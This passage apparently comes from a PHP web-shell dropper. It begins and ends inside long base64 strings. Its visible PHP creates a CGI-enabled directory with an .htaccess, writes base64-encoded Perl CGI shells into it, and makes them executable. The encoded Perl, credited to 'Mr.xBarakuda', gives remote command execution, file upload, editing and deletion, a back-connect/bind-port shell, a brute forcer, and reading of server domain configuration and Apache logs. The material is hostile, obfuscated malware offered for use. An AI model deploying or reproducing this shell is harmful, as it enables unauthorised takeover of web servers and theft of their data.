HJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, base64_decode($cgi_script));
	fwrite($htcgi, $isi_htcgi);
	chmod($file_cgi, 0755);
        chmod($memeg, 0755);
	echo "<center>Done <a href='kuda_cgi/cgi.kuda' target='_blank'><font color='lime'>Click Here</a></font>";
}
if(isset($_POST['cgi2'])) {
	$cgi_dir = mkdir('kuda_cgi', 0755);
        chdir('kuda_cgi');
	$file_cgi = "cgi2.kuda";
        $memeg = ".htaccess";
	$isi_htcgi = "Options Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .kuda
AddHandler cgi-script .kuda
AddHandler cgi-script .kuda";
	$htcgi = fopen(".htaccess", "w");
	$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFJlY29kZWQgQnkgTXIueEJhcmFrdWRhDQojIFRoYW5rcyBUbyA6IDB4MTk5OSAtIFhhaSBTeW5kaWNhdGUgVGVhbSAtIEFuZCBZb3UNCiANCiRXaW5OVCA9IDA7DQokTlRDbWRTZXAgPSAiJiI7DQokVW5peENtZFNlcCA9ICI7IjsNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7DQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOw0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQpzdWIgUmVhZFBhcnNlDQp7DQogICAgbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCiAgICBsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KICAgDQogICAgJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQogDQogICAgaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCiAgICB7DQogICAgICAgICRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KICAgIH0NCiAgICBlbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCiAgICB7DQogICAgICAgIGJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCiAgICAgICAgcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCiAgICB9DQogDQogICAgIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KICAgIGlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KICAgIHsNCiAgICAgICAgJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2Nw0KICAgICAgICBAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOw0KICAgICAgICAkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KICAgICAgICAkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQogICAgICAgICRIZWFkZXIgPSAkYDsNCiAgICAgICAgJEJvZHkgPSAkJzsNCiAgICAgICAgJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KICAgICAgICAkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCiAgICAgICAgJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOw0KICAgICAgICAkaW57J2YnfSA9ICQxOw0KICAgICAgICAkaW57J2YnfSA9fiBzL1wiLy9nOw0KICAgICAgICAkaW57J2YnfSA9fiBzL1xzLy9nOw0KIA0KICAgICAgICAjIHBhcnNlIHRyYWlsZXINCiAgICAgICAgZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCiAgICAgICAgew0KICAgICAgICAgICAgJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQogICAgICAgICAgICAkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQogICAgICAgICAgICAka2V5ID0gJDE7DQogICAgICAgICAgICAkdmFsID0gJCc7DQogICAgICAgICAgICAkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KICAgICAgICAgICAgJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCiAgICAgICAgICAgICRpbnska2V5fSA9ICR2YWw7DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQogICAgew0KICAgICAgICBAaW4gPSBzcGxpdCgvJi8sICRpbik7DQogICAgICAgIGZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCiAgICAgICAgew0KICAgICAgICAgICAgJGluWyRpXSA9fiBzL1wrLyAvZzsNCiAgICAgICAgICAgICgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQogICAgICAgICAgICAka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KICAgICAgICAgICAgJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCiAgICAgICAgICAgICRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KICAgICAgICAgICAgJGlueyRrZXl9IC49ICR2YWw7DQogICAgICAgIH0NCiAgICB9DQp9DQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQokRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCiRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Nci54QmFyYWt1ZGE8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8c3R5bGU+DQpAZm9udC1mYWNlIHsNCiAgICBmb250LWZhbWlseTogJ3VidW50dV9tb25vcmVndWxhcic7DQpzcmM6IHVybChkYXRhOmFwcGxpY2F0aW9uL3gtZm9udC13b2ZmO2NoYXJzZXQ9dXRmLTg7YmFzZTY0LGQwOUdSZ0FCQUFBQUFHV0lBQk1BQUFBQXZEQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCR1JsUk5BQUFCcUFBQUFCd0FBQUFjWk8rSGRFZEVSVVlBQUFIRUFBQUFLUUFBQUN3Q0l3RUpSMUJQVXdBQUFmQUFBQUF5QUFBQVFEWE9UckJIVTFWQ0FBQUNKQUFBQVZrQUFBSUdsTnZKcUU5VEx6SUFBQU9BQUFBQVhRQUFBR0NaVlFUWlkyMWhjQUFBQStBQUFBR09BQUFCNmdDTGpCWmpkblFnQUFBRmNBQUFBRW9BQUFCS0Uwa09jMlp3WjIwQUFBVzhBQUFCc1FBQUFtVlR0QytuWjJGemNBQUFCM0FBQUFBSUFBQUFDQUFBQUJCbmJIbG1BQUFIZUFBQVZtRUFBS1cwSXJ0MlBHaGxZV1FBQUYzY0FBQUFNQUFBQURZQXkyTERhR2hsWVFBQVhnd0FBQUFjQUFBQUpBcW1CUDlvYlhSNEFBQmVLQUFBQVdnQUFBT2lobUZ4Q0d4dlkyRUFBRitRQUFBQnlBQUFBZFFPVVRhUWJXRjRjQUFBWVZnQUFBQWdBQUFBSUFJR0FoVnVZVzFsQUFCaGVBQUFBWHNBQUFQT1lsZUtyWEJ2YzNRQUFHTDBBQUFCNGdBQUF0UXNCcVVNY0hKbGNBQUFaTmdBQUFDbkFBQUJCcVFUdkc1M1pXSm1BQUJsZ0FBQUFBWUFBQUFHZFZ0U3BnQUFBQUVBQUFBQXpEMml6d0FBQUFESjViN0xBQUFBQU03TUpkbDQybU5nWkdCZzRBTmlGUVlRWUdKZ0J1STZCa2FHZW9aR0lLdUo0UVdRelFLV1lRQUFObUlETFFBQUFIamFZMkJrWUdEZ1lyQmhzR05nVHE0c3ltRVFTUzlLeldhUXkwa3N5V1BRWUdBQnlqTDgvdzhrc0xHQUFBQjNrd3Y3QUFCNDJuV1J4MHBEUVJpRnYrczFMa0p3RlF2aUlvZ2w5aGhqTDhRU0JHTU1YRjI1RUdLTUxrd2kzQmhCaVN0Nzd3MDdQb1c0czd5SUw2Si9ob3ZnUW9ZNWY1bHpaczdNb0FGMkh2bENqeTZaY1p5elpteU85bmhrSWNrd2hlajlRNGFMd2xCd1VIRE02QmVFNzI5eVJhZVJJekdiL2UyVVlldWJDTGp3RGhqamdxSHdpQXUvRVE0SmpodEI2U2kremVMcldlVWZmYmJTcGNybXRzaU1HY1VWamFSaXVKUHBoRW5EdkRtZHhKZEtlYngwS2xhT1ltdldEaWpVZmxkc09IQlNTamwxcXF2aHRtS3JGZjNrcVRocTFWT2ljNGd5UTVwRnFYVUs1TlpGMHJYTFRMQ2lmQVlZKzRlblMxNHNNOS95b3F2MWpPVnBXVnhYVUVtVitLaW1obHJ4VlU4RGpYaG9rcmRweGtlTGVHdWpuUTdoZHRGTkQ3MnNzc1k2RzJ5eXhUWTc3TExIUGdjY2NzUXhKNXh5eGprWFhITEZOVGZjY3NjOUQvSzNUM3p5cmw0endLUjRlT2FGRWw1NWsvTStaSFQ4QUduVlNxRUFBQUI0Mm1OZ1puN0JPSUdCbFlHRmRSYXJNUU1Eb3p5RVpyN0lrTWJFd01EQXhNM0t5Y3pHeE16RThvQ0I2WDhBZzBJMEF4UzRPUG82TWpndzhQNW1Za3Y3bDhiQXdMYUVxVStCZ1dGK0dDTlE5emFXTDBBbENneE1BTDM2RDc0QUFBQjQybU5nWUdCbWdHQVpCa1lHRUhnQzVER0MrU3dNSjRDMEhvTUNrTVVIWlBFeXlETFVNZnhuREdhc1lEckdkRWVCUzBGRVFVcEJUa0ZKUVUxQlg4RktJVjVoamFLUzZwL2ZUUC8vZzAwQ3FWZGdXTUFZQkZYUG9DQ2dJS0VnQTFWdkNWZlBDRlRQL1Avci8yZi9uL3cvL0wvd3YrOC9ocit2SDV4NGNQakJnUWY3SCt4NXNQUEJ4Z2NySHJROHNMaC8rTllyMW1kUWQ1SUFHTmtnWGdTem1ZQUVFNW9Db0NRTEt4czdCeWNYTnc4dkg3K0FvSkN3aUtpWXVJU2tsTFNNckp5OGdxS1Nzb3FxbXJxR3BwYTJqcTZldm9HaGtiR0pxWm01aGFXVnRZMnRuYjJEbzVPemk2dWJ1NGVubDdlUHI1OS9RR0JRY0Vob1dIaEVaRlIwVEd4Y2ZFSmlFa043UjFmUGxKbnpseXhldW56WmlsVnJWcTlkdDJIOXhrMWJ0bTNkdm5QSDNqMzc5ak1VcDZabDNhdGNWSmp6dER5Ym9YTTJRd2tEUTBZRjJIVzV0UXdyZHplbDVJUFllWFgzazV2YlpodytjdTM2N1RzM2J1NWlPSFNVNGNuRFI4OWZNRlRkdXN2UTJ0dlMxejFoNHFUK2FkTVpwczZkTjRmaDJQRWlvS1pxSUFZQUpvYU14QUFBQUFBRHRnVDBBSkFBaHdDSkFJc0FsZ0RJQVJJQXFBRUdBSmtBb3dDb0FLd0FzQUMyQUpVQW9RQ2NBSzRBZFFDeUFIa0FmQUNUQUtvQWpRQ2ZBS1lBZHdCdEFIQUFmd0JFQlJFQUFIamFYVkc3VGx0QkVOME5Ed09CeE5nZ09kb1VzNW1ReG51aEJRbkUxWTFpWkR1RjVRaHBOM0tSaTNFQkgwQ0JSQTNhcnhtZ29hUkltd1loRjBoOFFqNGhFak5yaUtJME96dXpjODZaTTB2S2thcDM2V3ZQVStja2tNTGRCczAyL1U1SXRiTUE5NlRyNjQyTXRJTUhXbXhtOU1wMSsvNExCcHZSbER0cUFPVTlieWtQR1UwN2dWcTBwLzdSL0FxRysvd2Y4enNZdERUVDlOUTZDZWtoQk9hYmNVdUQ3eG5OdXNzUCtvTFY0V0l3TUtTWXB1SXVQNlpTL3JjMDUyckxzTFdSMGJ5RE14SDV5VFJBVTJ0dEJKcisxQ0hWODNFVVM1RExwckUybUppeS9pUVR3WVhKZEZWVHRjejQyc0Zkc3JQb1lJTXF6WUVIMk1OV2VRd2VEZzhtRk5LM0pNb3NEUkgyWXF2RUNCR1RIQW81NWR6Si9xUkErVWdTeHJ4SlNqdmpoclVHeHBIWHdLQTJUN1AvUEp0TmJXOGR3dmhaSE1GM3Z4bExPdmpJaHRvWUVXSTdZaW1BQ1VSQ1JsWDVoaHJQdlN3RzVGTDd6MENVZ09YeGozK2RDTFR1MkVROGw3VjFEakZXQ0hwKzI5enl5NHE3